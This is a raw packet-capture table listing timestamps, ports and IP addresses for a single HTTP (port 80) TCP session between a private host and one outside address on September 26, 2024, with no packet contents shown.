Sep 26, 2024 21:33:06.165704012 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.185676098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.185697079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.185709000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.185758114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.185808897 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.185821056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.185831070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.186074972 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.186075926 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.194202900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.194221973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.194231987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.194312096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.194322109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.194331884 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.194344044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.194376945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.194534063 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.196722984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.196738005 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.196747065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.196791887 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.196803093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.196811914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.196814060 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.196824074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.196866035 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.196893930 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.197436094 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.197488070 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.212527990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212559938 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212569952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212594986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212605953 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212667942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212678909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212686062 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.212692022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212702990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.212752104 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.218964100 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.218981028 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.218991995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219050884 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.219068050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219079971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219090939 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219100952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219111919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.219146967 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.219516993 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219528913 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219537973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219572067 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.219589949 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.219687939 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219728947 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.219758034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219796896 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.219949007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219960928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.219989061 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.220006943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221120119 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221137047 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221147060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221157074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221165895 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221188068 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221221924 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221260071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221271038 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221281052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221291065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221299887 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221304893 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221311092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221311092 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221316099 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221321106 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221330881 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221335888 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221338987 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221338987 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221342087 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221364021 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221368074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221385002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221395016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221395969 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221405983 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221415997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221421003 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221426010 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221436024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221438885 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221447945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221457005 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221466064 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221466064 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221476078 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221486092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221487999 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221508026 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221524000 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221539021 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221549988 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221576929 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221602917 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221642017 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221654892 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221663952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221673965 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221683979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221689939 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221693993 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221709967 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221738100 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.221901894 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.221946001 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.251873970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.251916885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.251991034 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252032995 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252079964 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252093077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252125025 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252142906 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252227068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252239943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252249002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252266884 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252276897 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252283096 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252289057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252300024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252310038 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252319098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252320051 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252345085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252346992 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252357960 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252367973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252371073 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252398968 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252428055 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252599001 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252610922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252661943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252677917 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252789974 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252801895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252811909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252816916 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252826929 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252836943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252847910 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252880096 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252880096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252893925 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252902985 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252912998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252921104 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252923965 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252929926 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252939939 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252949953 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.252954006 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252979040 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.252996922 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.253777027 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.253787994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.253832102 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.299845934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.299875975 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.299886942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.300143957 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.302656889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.302670002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.302680016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.302685976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.302722931 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.302772045 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.310519934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.310647011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.310652971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.310672045 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.310698986 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.310719013 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.312665939 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.312678099 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.312688112 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.312694073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.312704086 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.312725067 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.312745094 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.313533068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.313545942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.313555956 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.313565016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.313575029 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.313585043 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.313585043 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.313611984 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.313631058 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.318278074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.318289995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.318300009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.318356991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.319143057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.319154978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.319169998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.319181919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.319201946 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.319217920 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324404955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324418068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324428082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324434042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324439049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324449062 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324459076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324467897 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324500084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324537039 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324693918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324707031 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324717045 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324727058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324738026 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324747086 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324747086 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324770927 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324789047 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324790001 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324803114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324812889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324822903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324829102 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324834108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324845076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324853897 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324856043 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324867964 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324882984 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324903965 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.324903965 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.324948072 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325078011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325088978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325099945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325109959 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325119972 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325129032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325129032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325159073 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325167894 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325179100 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325208902 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325352907 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325361967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325397968 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325428963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325439930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325460911 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325470924 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325474024 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325481892 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325491905 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325505018 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325521946 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.325819016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.325870991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.326013088 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326025009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326035023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326044083 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326054096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326065063 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.326090097 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.326195002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326206923 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326241970 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.326267958 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.326363087 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326374054 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326383114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326391935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326402903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326411009 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.326414108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326426029 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.326438904 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.326472044 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.374381065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374401093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374412060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374417067 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374422073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374427080 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374440908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374464989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374475002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374485016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374569893 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.374594927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374607086 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374618053 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374618053 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.374629974 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374646902 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.374650002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374663115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374675035 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.374708891 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.374955893 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.374968052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375006914 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.375147104 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375159025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375169039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375179052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375189066 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375191927 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.375201941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375212908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375214100 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.375224113 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375231028 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.375235081 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375272989 CEST	49713	80	192.168.2.5	185.215.113.16
